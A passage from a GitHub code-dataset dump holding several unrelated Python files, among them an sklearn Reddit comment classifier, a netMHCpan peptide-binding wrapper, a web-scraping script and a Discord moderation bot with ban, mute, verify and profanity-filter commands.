r))","repo_name":"ToddMorrill/amr-qa","sub_path":"amrqa/relation_linking/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26878798021","text":"import sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import preprocessing\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import FeatureUnion, Pipeline\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn import svm\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport csv\n\nfrom dataset import load_dataset, dataset_analysis_extension, clean_dataset, \\\n add_pol_sub, pipelinize_feature, named_entity_recognition, get_polarity, \\\n get_subjectivity, ner_input, get_comment_length\n\nprint('Clean dataset: [c]\\nUse existing clean dataset: [e]\\nUse unchanged dataset: [u]')\nclean = input()\nprint('Is this run for tuning or for predicting? [t/p]')\ntuning = input()\n# Load datasets\n\ncount_vect = CountVectorizer(stop_words=\"english\")\ntfidf_transformer = TfidfTransformer(use_idf=True, norm='l2')\ntfidf_vec = TfidfVectorizer()\n\noriginal_dataset = load_dataset('reddit_train.csv', ',')\ntest_dataset = load_dataset('reddit_test.csv', ',')\n# new_orig_dataset = load_dataset('reddit_train_updated.csv', ',').dropna()\n\nX = original_dataset.loc[:, original_dataset.columns != 'subreddits']\ny = original_dataset['subreddits']\n\n# X_new = new_orig_dataset.comments.values\n# y_new = new_orig_dataset.subreddits.values\n\nif clean == 'c':\n X_orig = clean_dataset(X)\n X_test_pipe = clean_dataset(test_dataset)\n # perform named entity recognition\n ner = named_entity_recognition(X_orig)\n ner_test = named_entity_recognition(X_test_pipe)\n\n with open('clean_train.csv', 'w') as f:\n f.write(\"train\\n\")\n for entry in X_orig:\n f.write(f\"{ entry }\\n\")\n\n with open('clean_test.csv', 'w') as f:\n f.write(\"test\\n\")\n for entry in X_test_pipe:\n f.write(f\"{ entry }\\n\")\n\n ner.to_csv('ner_clean_train.csv')\n ner_test.to_csv('ner_clean_test.csv')\n\nelif clean == 'e':\n with open('clean_train.csv') as f:\n X_orig = [line.strip() for line in f][1:]\n with open('clean_test.csv') as f:\n X_test_pipe = [line.strip() for line in f][1:]\n ner = load_dataset('ner_clean_train.csv', ',').to_numpy()[:,1:]\n ner_test = load_dataset('ner_clean_test.csv', ',').to_numpy()[:,1:]\nelif clean == 'u':\n # Use unclean dataset dataset with new comments\n X_orig = X.comments.values\n # y = y_new\n X_test_pipe = test_dataset.comments.values\n ner = load_dataset('ner_clean_train.csv', ',').to_numpy()[:,1:]\n ner_test = load_dataset('ner_clean_test.csv', ',').to_numpy()[:,1:]\nner = ner / ner.max(axis=0)\nner_test = ner_test / ner_test.max(axis=0)\n\ntext_clf = Pipeline([\n ('features', FeatureUnion([\n ('reg', Pipeline([\n ('tfvec', tfidf_vec)\n ])),\n # ('ner', ner_input(ner, ner_test, active=True)),\n # ('len', pipelinize_feature(get_comment_length, active=True)),\n # ('polarity', pipelinize_feature(get_polarity, active=True)),\n # ('subjectivity', pipelinize_feature(get_subjectivity, active=True)),\n ])),\n ('clf', svm.LinearSVC()),\n])\n\ngrid_params = {\n # 'features__reg__vect__max_df': (0.1,0.9, 1),\n # 'features__reg__tfvec__min_df': (2,3),\n # 'features__reg__vect__ngram_range': ((1,2),(1,3)),\n 'features__reg__tfvec__max_df': (0.8, 0.9),\n # 'features__reg__tfvec__ngram_range': ((1,3),(1,2)),\n 'features__reg__tfvec__sublinear_tf': (True, False),\n # 'features__reg__tfvec__norm': ('l1', 'l2'),\n # 'features__reg__tfvec__max_features': (800000, 1200000),\n # 'features__topics__vect__max_features': (1500, 3000),\n # 'features__topics__vect__max_df': (0.8, 0.9, 1),\n # 'features__topics__vect__min_df': (5,10,12),\n # 'features__topics__vect__ngram_range': ((1,2),(1,3)),\n # 'features__reg__tfidf__use_idf': (True, False),\n # 'features__reg__tfidf__norm': ('l1', 'l2'),\n # 'clf__alpha': np.linspace(1, 1.5, 6), # For Naive Bayes\n # 'clf__fit_prior': [True, False], # For Naive Bayes\n # 'clf__decision_function_shape': ('ovo', 'ovr'), # For svm.SVC\n # 'clf__max_iter': np.arange(600, 6000, 600),\n # 'clf__fit_intercept': (True, False),\n # 'clf__intercept_scaling': (0.1, 2.0, 0.2),\n # 'clf__multi_class': ('ovr', 'crammer_singer'),\n # 'clf__dual': (True, False),\n # 'clf__penalty': ('l1', 'l2'),\n # 'clf__C': np.arange(0.2, 2.0, 0.2),\n # 'clf__tol': np.arange(0.00002, 0.0002, 0.00006),\n # 'clf__solver': ('newton-cg', 'lbfgs'),\n # 'clf__n_estimators': (10, 100),\n # 'clf__random_state': (0,1,2),\n # 'clf__max_features': ('auto', 30, 60),\n # 'clf__learning_rate': ('optimal', 'optimal'),\n # 'clf__eta0': (1,1),\n # 'clf__average': (1, 5, 10,20),\n # 'clf__epsilon': (0.5, 1),\n # 'clf__loss': ('modified_huber', 'huber'),\n # 'clf__alpha': (0.00001, 0.0001, 0.001),\n}\n\n# Use gridsearch to tune the model\nif tuning == \"t\":\n gsCV = GridSearchCV(text_clf, grid_params, verbose=3)\n\n gsCV.fit(X_orig, y)\n print(\"Best Score: \", gsCV.best_score_)\n print(\"Best Params: \", gsCV.best_params_)\n predicted = gsCV.predict(X_test_pipe)\n# Predict with optimal parameters\nelif tuning == 'p':\n text_clf.set_params(\n features__reg__tfvec__max_df=0.1,\n # features__reg__vect__min_df=5,\n features__reg__tfvec__ngram_range=(1, 2),\n clf__max_iter=1100,\n clf__intercept_scaling=1.5,\n # clf__alpha=1.0,\n # clf__fit_prior=True,\n )\n text_clf.fit(X_orig, y)\n predicted = text_clf.predict(X_test_pipe)\n\nwith open('predictions.csv', 'w') as f:\n f.write(\"id,Category\\n\")\n for i, item in enumerate(predicted):\n f.write(f\"{ i },{ item }\\n\")\n","repo_name":"evansavage/COMP_551_Project_2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35607369193","text":"# Simple debugger for libEmussa\n# Levels:\n# 0 - disable\n# 1 - only errors\n# 2 - errors and warning\n# 3 - all\nimport sys, time, os\n\nclass bcolors:\n INFO = '\\033[92m'\n WARNING = '\\033[93m'\n ERROR = '\\033[91m'\n ENDC = '\\033[0m'\n\nclass Debugger:\n\tdef __init__(self):\n\t\tself._level = 3\n\t\tself.fh = sys.stdout\n\n\t# setter and getter for level\n\t@property\n\tdef level(self):\n\t\treturn self._level\n\n\t@level.setter\n\tdef level(self, lvl):\n\t\tprint('Debug level set to {0}'.format(lvl))\n\t\tself._level = lvl\n\t\tself.info('Debug level set to {0}'.format(lvl))\n\n\tdef info(self, message):\n\t\tif self._level >= 3:\n\t\t\tline = message\n\t\t\tif self.fh == sys.stdout:\n\t\t\t\tline = '{0}[INFO]{1} {2}{3}'.format(bcolors.INFO, bcolors.ENDC, message, os.linesep)\n\t\t\telse:\n\t\t\t\tline = '[{0}] I: {1}{2}'.format(time.ctime(), message, os.linesep)\n\n\t\t\tself.fh.write(line)\n\n\tdef warning(self, message):\n\t\tif self._level >= 2:\n\t\t\tline = message\n\t\t\tif self.fh == sys.stdout:\n\t\t\t\tline = '{0}[WARNING]{1} {2}{3}'.format(bcolors.WARNING, bcolors.ENDC, message, os.linesep)\n\t\t\telse:\n\t\t\t\tline = '[{0}] W: {1}{2}'.format(time.ctime(), message, os.linesep)\n\n\t\t\tself.fh.write(line)\n\n\tdef error(self, message):\n\t\tif self._level >= 1:\n\t\t\tline = message\n\t\t\tif self.fh == sys.stdout:\n\t\t\t\tline = '{0}[ERROR]{1} {2}{3}'.format(bcolors.ERROR, bcolors.ENDC, message, os.linesep)\n\t\t\telse:\n\t\t\t\tline = '[{0}] E: {1}{2}'.format(time.ctime(), message, os.linesep)\n\n\t\t\tself.fh.write(line)","repo_name":"ov1d1u/libemussa","sub_path":"debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"443022169","text":"# face of nwork лицо работы\n#task :\n#parsing text from sites\n# сделать для каждого саундтрека свой файл в котором хранится file.txt с текстом\n# импорт нестандартных бибилиотек\n# ВЫБОР ПОЛЬЗОВАТЕЛЯ\n# весь процесс производить в функциях чтобы облегчить процесс работы.\nfrom list1 import list1\nfrom list2 import list2\nfrom list3 import list3\nfrom list4 import list4\nfrom list5 import list5\nfrom func_close import func_close\nfrom func_start import func_start\ndef main():\n func_start()\n choice = int(input('Введите число: '))\n if choice == 1:\n list1()\n elif choice == 2:\n list2()\n elif choice == 3:\n list3()\n elif choice == 4:\n list4()\n elif choice == 5:\n list5()\n else:\n func_close()\nif __name__ == '__main__':\n main()\n\n","repo_name":"yakummi/musicbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20341425699","text":"import pickle, tempfile, subprocess\nfrom threading import Thread\n\nNETMHCPAN_LOCATION = \"data/netMHCpan\"\nDICTS_FOLDER = \"data/dicts\"\nMHCS = [\"HLA-A01:01\", \"HLA-A02:01\"]#, \"HLA-A03:01\", \"HLA-A11:01\", \"HLA-A24:02\", \"HLA-B40:01\", \"HLA-C01:02\", \"HLA-C04:01\", \"HLA-C07:01\", \"HLA-C07:02\"]\nGENES = ['e']#, 'm', 'n', 's']\nMIN_PEPTIDE_LEN = 8\nMAX_PEPTIDE_LEN = 10\nNETMHCPAN_COLUMNS = [\"pos\",\"mhc\",\"peptide\",\"core\",\"of\",\"gp\",\"gl\",\"ip\",\"il\",\"icore\",\"identity\",\"score_el\",\"bindlevel\"]\nDICT_ENTRY_SIZE = 4\ndef parse_netmhcpan_output(netmhcpan_output: str, expected_count: int) -> [{str: str}]:\n netmhcpan_output = netmhcpan_output.split('\\n')[49:]\n result = []\n for line in netmhcpan_output:\n line = [entry for entry in line.split() if entry != \"\"][:len(NETMHCPAN_COLUMNS)]\n if len(line) != 13:\n break\n result.append({key: value for key, value in zip(NETMHCPAN_COLUMNS, line)})\n if len(result) != expected_count:\n raise ValueError(\"Invalid number of peptides parsed from netmhcpan\")\n return result\nprint(','.join(NETMHCPAN_COLUMNS + [f\"dicts_column_{i}\" for i in range(DICT_ENTRY_SIZE)] + ['gene']))\nfor gene in GENES:\n with open(f\"{DICTS_FOLDER}/{gene}_dict.pickle\", 'rb') as pickled_dict:\n dictionary = pickle.load(pickled_dict)\n netmhcpan_output = {mhc: \"\" for mhc in MHCS}\n peptides_count = 0\n with tempfile.NamedTemporaryFile('w') as netmhcpan_input:\n for peptide in dictionary:\n if len(peptide) >= MIN_PEPTIDE_LEN and len(peptide) <= MIN_PEPTIDE_LEN:\n peptides_count += 1\n print(peptide, file=netmhcpan_input)\n netmhcpan_input.flush()\n def run_netmhcpan(mhc: str) -> None:\n netmhcpan_output[mhc] = parse_netmhcpan_output(subprocess.check_output(args=[NETMHCPAN_LOCATION, \"-a\", mhc, \"-p\", \"-f\", netmhcpan_input.name]).decode(\"utf-8\"), peptides_count)\n threads = [Thread(target=run_netmhcpan, args=(mhc,)) for mhc in MHCS]\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n for mhc, peptide_entries in netmhcpan_output.items():\n for peptide_entry in peptide_entries:\n \tfor dictionary_entry in dictionary[peptide_entry[\"peptide\"]]:\n for column in NETMHCPAN_COLUMNS:\n print(peptide_entry[column], end=',')\n for i in range(DICT_ENTRY_SIZE):\n print(dictionary_entry[i], end=',')\n print(gene.upper() + \"_gene\")\n","repo_name":"sharanramjee/aimi-cov2genx","sub_path":"get_bindlevel_for_peptides_in_dict.py","file_name":"get_bindlevel_for_peptides_in_dict.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25778545075","text":"import argparse\nfrom values import *\nfrom bs4 import BeautifulSoup\nimport requests\nimport json\n\n\ndef scrapping(words):\n s = requests.Session()\n \n # get query words\n q = '+'.join(words)\n print(q)\n\n # create url\n url = 'https://www.googleapis.com/customsearch/v1?key={key}&cx={cx}&num={num}&q='.format(key=KEY, cx=CX,\n num=NUM) + q\n # send request\n req = s.get(url, timeout=60000)\n\n # to json\n objects = json.loads(req.content)\n\n # get search queries\n items = objects['items']\n\n output = {}\n\n for item in items:\n result = {}\n\n # page link\n link = item['link']\n get_html = requests.get(link)\n\n # use BeautifulSoup\n bs = BeautifulSoup(get_html.content, 'html.parser')\n\n # get h1 head\n if bs.h1:\n result['head'] = bs.h1.get_text()\n else:\n result['head'] = 'head'\n\n # title of the page\n if item['title']:\n result['title'] = item['title']\n else:\n result['title'] = 'title'\n\n # find page image\n img_find = bs.find(itemprop=\"image\")\n if img_find:\n result['img'] = img_find['content']\n elif bs.findAll('img'):\n image_tags = bs.findAll('img')\n result['img'] = image_tags[0].get('src')\n else:\n result['img'] = None\n\n # find description\n meta_list = bs.find_all(\"meta\")\n for meta in meta_list:\n if 'name' in meta.attrs:\n name = meta.attrs['name']\n if name in ATTRIBUTES:\n result[name.lower()] = meta.attrs['content']\n output[item['link']] = str(result)\n\n # output data\n with open('output.json', 'w', encoding=\"utf-8\") as f:\n f.write(json.dumps(output, ensure_ascii=False))\n\n\n# scrapping(['Введите', 'ключевые', 'слова'])\nparser = argparse.ArgumentParser(description='Key words')\nparser.add_argument('-i', '--item', action='store', dest='alist',\n type=str, nargs='*', default=['item1', 'item2', 'item3'],\n help=\"Examples: -i item1 item2, -i item3\")\nargs = parser.parse_args()\n\nscrapping(args.alist)\n","repo_name":"albelyaeva/bot","sub_path":"webscraping.py","file_name":"webscraping.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12722320719","text":"import sre_parse, sre_compile, sre_constants\nfrom sre_constants import BRANCH, SUBPATTERN\nfrom re import VERBOSE, MULTILINE, DOTALL\nimport re\n\n__all__ = ['Scanner', 'pattern']\n\nFLAGS = (VERBOSE | MULTILINE | DOTALL)\nclass Scanner(object):\n def __init__(self, lexicon, flags=FLAGS):\n self.actions = [None]\n # combine phrases into a compound pattern\n s = sre_parse.Pattern()\n s.flags = flags\n p = []\n for idx, token in enumerate(lexicon):\n phrase = token.pattern\n try:\n subpattern = sre_parse.SubPattern(s,\n [(SUBPATTERN, (idx + 1, sre_parse.parse(phrase, flags)))])\n except sre_constants.error:\n raise\n p.append(subpattern)\n self.actions.append(token)\n\n p = sre_parse.SubPattern(s, [(BRANCH, (None, p))])\n self.scanner = sre_compile.compile(p)\n\n\n def iterscan(self, string, idx=0, context=None):\n \"\"\"\n Yield match, end_idx for each match\n \"\"\"\n match = self.scanner.scanner(string, idx).match\n actions = self.actions\n lastend = idx\n end = len(string)\n while True:\n m = match()\n if m is None:\n break\n matchbegin, matchend = m.span()\n if lastend == matchend:\n break\n action = actions[m.lastindex]\n if action is not None:\n rval, next_pos = action(m, context)\n if next_pos is not None and next_pos != matchend:\n # \"fast forward\" the scanner\n matchend = next_pos\n match = self.scanner.scanner(string, matchend).match\n yield rval, matchend\n lastend = matchend\n \ndef pattern(pattern, flags=FLAGS):\n def decorator(fn):\n fn.pattern = pattern\n fn.regex = re.compile(pattern, flags)\n return fn\n return decorator\n","repo_name":"abgoyal-archive/OT_918D","sub_path":"webkit/WebKitTools/simplejson/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73608325531","text":"import discord\r\nfrom discord.ext import commands, tasks\r\nimport os\r\nfrom random import choice\r\nimport aiohttp\r\nfrom random import randint\r\nimport time\r\nimport datetime\r\nimport asyncio\r\nimport random\r\nimport typing\r\n\r\nintents = discord.Intents.all()\r\nprefixes = [\"!\"]\r\nclient = commands.Bot(command_prefix=prefixes, intents=intents)\r\n\r\nstatus = ['Listening to !help', 'Make sure to read the rules!']\r\n\r\nclient.remove_command(\"help\")\r\n\r\nfilter_words = [\"fuck\",\"bitch\",\"pussy\",\"chutiya\",\"sala\",\"arse\"]\r\n\r\n#start\r\n@client.event\r\nasync def on_ready():\r\n\tchange_status.start()\r\n\tprint('Bot is ready.')\r\n\r\n#status change\r\n@tasks.loop(seconds=20)\r\nasync def change_status():\r\n\tawait client.change_presence(activity=discord.Game(choice(status)))\r\n\r\n#ping command\r\n@client.command()\r\nasync def ping(ctx):\r\n\tawait ctx.send(f'Pong! {round(client.latency * 1000)}ms')\r\n\r\n#clear command\r\n@client.command(aliases=[\"cls\", \"purge\"])\r\n@commands.has_permissions(manage_messages=True, administrator=True)\r\nasync def clear(ctx, ammount: int):\r\n await ctx.channel.purge(limit=ammount + 1)\r\n await ctx.send(f'I have deleted {ammount} of messages', delete_after=5)\r\n return\r\n\r\n#8ball command\r\n@client.command(aliases=['8ball'])\r\nasync def _8ball(ctx, question):\r\n\timport random\r\n\tresponses = [\"It is certain.\",\r\n\t\t\t\t\"It is decidedly so.\",\r\n\t\t\t\t\"Without a doubt.\",\r\n\t\t\t\t\"Yes - definitely.\",\r\n\t\t\t\t\"You may rely on it.\",\r\n\t\t\t\t\"As I see it, yes.\",\r\n\t\t\t\t\"Most likely.\",\r\n\t\t\t\t\"Outlook good.\",\r\n\t\t\t\t\"Yes.\",\r\n\t\t\t\t\"Signs point to yes.\",\r\n\t\t\t\t\"Reply hazy, try again.\",\r\n\t\t\t\t\"Ask again later.\",\r\n\t\t\t\t\"Better not tell you now.\",\r\n\t\t\t\t\"Cannot predict now.\",\r\n\t\t\t\t\"Concentrate and ask again.\",\r\n\t\t\t\t\"Don't count on it.\",\r\n\t\t\t\t\"My reply is no.\",\r\n\t\t\t\t\"My sources say no.\",\r\n\t\t\t\t\"Outlook not so good.\",\r\n\t\t\t\t\"Very doubtful.\"]\r\n\tawait ctx.send(f'{random.choice(responses)}')\r\n\r\n#help command\r\n@client.command(aliases=['h'])\r\nasync def help(ctx):\r\n\thelpEmbed = discord.Embed(tittle=\"Help Menu\", color=ctx.author.color)\r\n\thelpEmbed.set_author(name=\"Help Menu:\\nPrefix = '!'\")\r\n\thelpEmbed.add_field(name=\"Moderation Command Menu\", value=\"```Type !modhelp to open that```\", inline=True)\r\n\thelpEmbed.add_field(name=\"Miscellaneous Command Menu\", value=\"```Type !mischelp to open that```\", inline=True)\r\n\r\n\tawait ctx.send(embed=helpEmbed)\r\n\r\n#modHelp\r\n@client.command()\r\nasync def modhelp(ctx):\r\n\tmod = discord.Embed(tittle=\"mod\", color=ctx.author.color)\r\n\tmod.add_field(name=\"Moderation Command Menu\", value=\"```!clear (ammount) : Deletes the specified ammount of messages from the channel```\\n```!ban (user) (reasion) : Bans the specified user from the server```\\n```!kick (user) (reason) : Kicks the specified user from the server```\\n```!mute (user) (time) (reason) : Mutes the specified user from the server```\\n```!unmute (user) : Unmutes the specified user```\\n```!announce (message) : Makes an announcemnt with sylish embed style```\\n```!addrole (user) (role) : Adds the specifieed role to specified user```\\n```!removerole : Removes the specified role from the specified user```\\n\")\r\n\tmod.set_footer(text=\"More moderation commands will be added soon\")\r\n\tawait ctx.send(embed=mod)\r\n\r\n#miscHelp\r\n@client.command()\r\nasync def mischelp(ctx):\r\n\tmisc = discord.Embed(tittle=\"misc\", color=ctx.author.color)\r\n\tmisc.add_field(name=\"Miscellaneous Command Menu\", value=\"```!ping : Tells the bot's latency```\\n```!8ball (question) : Tells the answer of the asked question in a random yes/no answer```\\n```!meme : Send a hot meme from reddit```\\n```!serverinfo : Send info about server```\\n```!userinfo (user) : Send info about specified user```\\n```!eval : For doing fast calculations!```\\n\")\r\n\tmisc.set_footer(text=\"More miscellaneous commands will be added soon\")\r\n\tawait ctx.send(embed=misc)\r\n\r\n#ban command\r\n@client.command(aliases=['b'])\r\n@commands.has_permissions(ban_members=True, administrator=True)\r\nasync def ban(ctx, member: discord.Member, *, reason=\"No reason provided\"):\r\n\tawait ctx.send(f'Banned {member} from the server. BOOM!')\r\n\tawait member.ban(reason=reason)\r\n\r\n#kick command\r\n@client.command(aliases=['k'])\r\n@commands.has_permissions(kick_members=True, administrator=True)\r\nasync def kick(ctx, member: discord.Member, *, reason=\"No reason provided\"):\r\n\tawait ctx.send(f'Kicked {member} from the server.')\r\n\tawait member.kick(reason=reason)\r\n\r\n#mute command\r\n@client.command()\r\n@commands.has_permissions(kick_members=True, manage_messages=True, administrator=True, manage_roles=True)\r\nasync def mute(ctx, member: discord.Member, mute_time, *, reason=None):\r\n if not member:\r\n await ctx.send(\"Who do you want me to mute?\")\r\n return\r\n role = discord.utils.get(ctx.guild.roles, name=\"Muted\")\r\n\r\n if not role:\r\n await ctx.guild.create_role(name='Muted')\r\n\r\n for channel in ctx.guild.channels:\r\n await channel.set_permissions(role, speak=False, send_messages=False, read_message_history=True, read_messages=True)\r\n\r\n await member.add_roles(role)\r\n await ctx.send(f\"{member.mention} was muted for {reason}\")\r\n\r\n if mute_time[-1] == 's':\r\n \tx = int(mute_time[0:-1])\r\n \tawait asyncio.sleep(x)\r\n \tawait member.remove_roles(role)\r\n \tawait ctx.send(f\"{member.mention} was unmuted\")\r\n\r\n elif mute_time[-1] == 'm':\r\n \tx = int(mute_time[0:-1]) * 60\r\n \tawait asyncio.sleep(x)\r\n \tawait member.remove_roles(role)\r\n \tawait ctx.send(f\"{member.mention} was unmuted\")\r\n\r\n\r\n elif mute_time[-1] == 'h':\r\n \tx = int(mute_time[0:-1]) * 3600\r\n \tawait asyncio.sleep(x)\r\n \tawait member.remove_roles(role)\r\n \tawait ctx.send(f\"{member.mention} was unmuted\")\r\n\r\n elif mute_time[-1] == 'd':\r\n \tx = int(mute_time[0:-1] * 86400)\r\n \tawait asyncio.sleep(x)\r\n \tawait member.remove_roles(role)\r\n \tawait ctx.send(f\"{member.mention} was unmuted\")\r\n\r\n#unmute command\r\n@client.command()\r\n@commands.has_permissions(manage_roles=True, administrator=True)\r\nasync def unmute(ctx, member: discord.Member):\r\n\tmutedRole = discord.utils.get(ctx.guild.roles, name=\"Muted\")\r\n\tawait member.remove_roles(mutedRole)\r\n\tawait ctx.send(f'Unmuted {member}')\r\n\r\n#meme command\r\n@client.command()\r\nasync def meme(ctx):\r\n async with aiohttp.ClientSession() as cs:\r\n async with cs.get ('https://www.reddit.com/r/dankmemes/new.json?sort=hot') as r:\r\n res = await r.json()\r\n embed = discord.Embed(title = \"Memes\", color = discord.Color.orange())\r\n embed.set_image(url=res['data']['children'] [random.randint(0, 25)]['data']['url'])\r\n await ctx.send(embed=embed)\r\n\r\n#kill command\r\n@client.command()\r\nasync def kill(ctx, user):\r\n\tk = random.randint(0,5)\r\n\tif k == 0:\r\n\t\tawait ctx.send(f'You challenged {user} to a fist fight to the death. You won.')\r\n\tif k == 2:\r\n\t\tawait ctx.send(f'{user} had a mid air collision with nyan-cat')\r\n\tif k == 3:\r\n\t\tawait ctx.send(f'{user} fell down a cliff while playing Pokemon Go. Good job on keeping your nose in that puny phone. :iphone:')\r\n\tif k == 4:\r\n\t\tawait ctx.send(f\"{user} presses a random button and is teleported to the height of 100m, allowing them to fall to their inevitable death.\\nMoral of the story: Don't go around pressing random buttons.\")\r\n\tif k == 5:\r\n\t\tawait ctx.send(f'{user} is sucked into Minecraft. {user}, being a noob at the so called Real-Life Minecraft faces the Game Over screen.')\r\n\r\n\r\n\r\n#announcemnt command\r\n@client.command(aliases=[\"ann\"])\r\n@commands.has_permissions(administrator=True, manage_messages=True, manage_roles=True, ban_members=True, kick_members=True)\r\nasync def announce(ctx,*,message):\r\n\tanno = discord.Embed(tittle=\"ann\", color=ctx.author.color)\r\n\tanno.add_field(name=\"Announcement\", value=message)\r\n\tanno.set_footer(text=f\"Announcement by {ctx.author.name}\")\r\n\tawait ctx.channel.purge(limit=1)\r\n\tawait ctx.send(embed=anno)\r\n\tawait ctx.send(\"@Announcements\", delete_after=3)\r\n\r\n#on_message events\r\n@client.event\r\nasync def on_message(msg):\r\n for word in filter_words:\r\n if word in msg.content:\r\n await msg.delete()\r\n await msg.channel.send(f\"{msg.author.mention}, Swearing is not allowed in this server\")\r\n\r\n await client.process_commands(msg)\r\n\r\n#verify command\r\n@client.command()\r\n@commands.has_role(\"Not Verified\")\r\nasync def verify(ctx):\r\n verifiedrole = discord.utils.get(ctx.guild.roles, name='Members')\r\n await ctx.author.add_roles(verifiedrole)\r\n verify = discord.Embed(title=\"Verification\",description=\"Congrats! You have been verified!\", color=ctx.author.color)\r\n await ctx.author.send(embed=verify)\r\n await ctx.send(embed=verify)\r\n u = discord.utils.get(ctx.guild.roles, name='Not Verified')\r\n e = discord.utils.get(ctx.guild.roles, name='⁣  ⁣    ⁣     About Me⁣  ⁣    ⁣')\r\n x = discord.utils.get(ctx.guild.roles, name='⁣  ⁣    ⁣    Games I play ⁣   ⁣      ⁣ ⁣')\r\n y = discord.utils.get(ctx.guild.roles, name='⁣   ⁣ ⁣   ⁣ ⁣     Pings         ⁣  ⁣ ⁣ ⁣')\r\n await ctx.author.remove_roles(u)\r\n await ctx.author.add_roles(e)\r\n await ctx.author.add_roles(x)\r\n await ctx.author.add_roles(y)\r\n wel = discord.Embed(title=f\"Welcome {ctx.author.name} to 𝗕𝗿𝘂𝘁𝗲 𝗙𝗼𝗿𝗰𝗲 𝗢𝗻𝗹𝘆 ™\", color=discord.Color.red())\r\n wel.add_field(name=\"Here you can find:\",value=\"🎮》Gaming and game chat\\n🎮》Game nights (coming soon)\\n🎮》Music\\n🎮》Fun bots to entertain you :)\\n\", inline=False)\r\n wel.add_field(name=\"Check out these channels!!!\", value=\"#🏡》about-us - to know about us\\n#📜》rules - make sure to follow them\\n#📊》self-roles - give yourself some cool roles\\n\", inline=False)\r\n wel.set_thumbnail(url=ctx.author.avatar_url)\r\n wel.set_image(url='https://images-ext-2.discordapp.net/external/bv_iH_uxZrUrqYi4Sn6sQJg70dGllmRNPMELNCzudlU/%3Fwidth%3D627%26height%3D390/https/media.discordapp.net/attachments/775232813510426694/782935786470899772/Presentation1.png')\r\n chl = client.get_channel(771251330920480788)\r\n await chl.send(embed=wel)\r\n\r\n#server info command\r\n@client.command(aliases=['si'])\r\nasync def serverinfo(ctx):\r\n guild=ctx.guild\r\n\r\n em=discord.Embed(title=f\"{guild.name} info\", color=ctx.author.color)\r\n em.set_footer(text=f'Requested by {ctx.author.name}')\r\n em.add_field(name='Total members', value=f\"{guild.member_count}\")\r\n em.add_field(name=\"Owner\", value=\"DarkStalker.GG#6909\")\r\n em.add_field(name=\"Server created on:\", value=guild.created_at.strftime(\"%a, %#d %B %Y, %I:%M %p UTC\"))\r\n\r\n await ctx.send(embed=em)\r\n\r\n#userinfo command\r\n@client.command(aliases=[\"ui\"])\r\nasync def userinfo(ctx, member: discord.Member):\r\n\r\n em=discord.Embed(color=member.color)\r\n\r\n em.set_author(name=f\"{member.name}'s info\")\r\n em.set_thumbnail(url=member.avatar_url)\r\n em.set_footer(text=f\"Requested by {ctx.author.name}\")\r\n\r\n em.add_field(name='Member Name', value=member.name)\r\n em.add_field(name=\"Member name in guild\", value=member.display_name)\r\n\r\n em.add_field(name=\"Joined at:\", value=member.joined_at.strftime(\"%a, %#d %B %Y, %I:%M %p UTC\"))\r\n\r\n await ctx.send(embed=em)\r\n\r\n#suggest command\r\n@client.command()\r\nasync def suggest(ctx, *, message):\r\n em=discord.Embed(title=\"Suggestion\", description=message,color=ctx.author.color)\r\n em.set_footer(text=f\"Suggestion by {ctx.author.name}\")\r\n channel = client.get_channel(787197497323552788)\r\n message_ = await channel.send(embed=em)\r\n await message_.add_reaction(\"✅\")\r\n await message_.add_reaction(\"❎\")\r\n\r\n#addrole command\r\n@client.command(aliases=[\"a\"])\r\n@commands.has_permissions(manage_roles=True, administrator=True)\r\nasync def addrole(ctx, role: discord.Role, user: discord.Member):\r\n\tawait user.add_roles(role)\r\n\tawait ctx.send(f'Succesfully Done')\r\n\r\n#removerole command\r\n@client.command(aliases=[\"r\"])\r\n@commands.has_permissions(manage_roles=True, administrator=True)\r\nasync def removerole(ctx, role: discord.Role, user: discord.Member):\r\n\tawait user.remove_roles(role)\r\n\tawait ctx.send(f'Succesfully Done')\r\n\r\n#member join log\r\n@client.event\r\nasync def on_member_join(member):\r\n\tchannel = client.get_channel(775440270590214164)\r\n\tawait channel.send(f'{member.mention} has joined the server')\r\n\r\n#avatar command\r\n@client.command()\r\nasync def avatar(ctx, member: discord.Member):\r\n\tawait ctx.send(member.avatar_url)\r\n\r\n#all the errors\r\n\r\n#userinfo error\r\n@userinfo.error\r\nasync def userinfo_error(ctx, error):\r\n if isinstance(error, commands.MissingRequiredArgument):\r\n\r\n em = discord.Embed(title = \"Error\", description = \"Please pass all required arguments\", color = discord.Color.red())\r\n\r\n await ctx.send(embed=em, delete_after=5)\r\n\r\n#suggest error\r\n@suggest.error\r\nasync def suggest_error(ctx, error):\r\n if isinstance(error, commands.MissingRequiredArgument):\r\n em=discord.Embed(title=\"Error\", description=\"Please specify a suggestion message you want to use\", color=discord.Color.red())\r\n await ctx.send(embed=em, delete_after=5)\r\n\r\n#verify error\r\n@verify.error\r\nasync def verify_error(ctx, error):\r\n em=discord.Embed(title=\"Error\", description=\"You are already 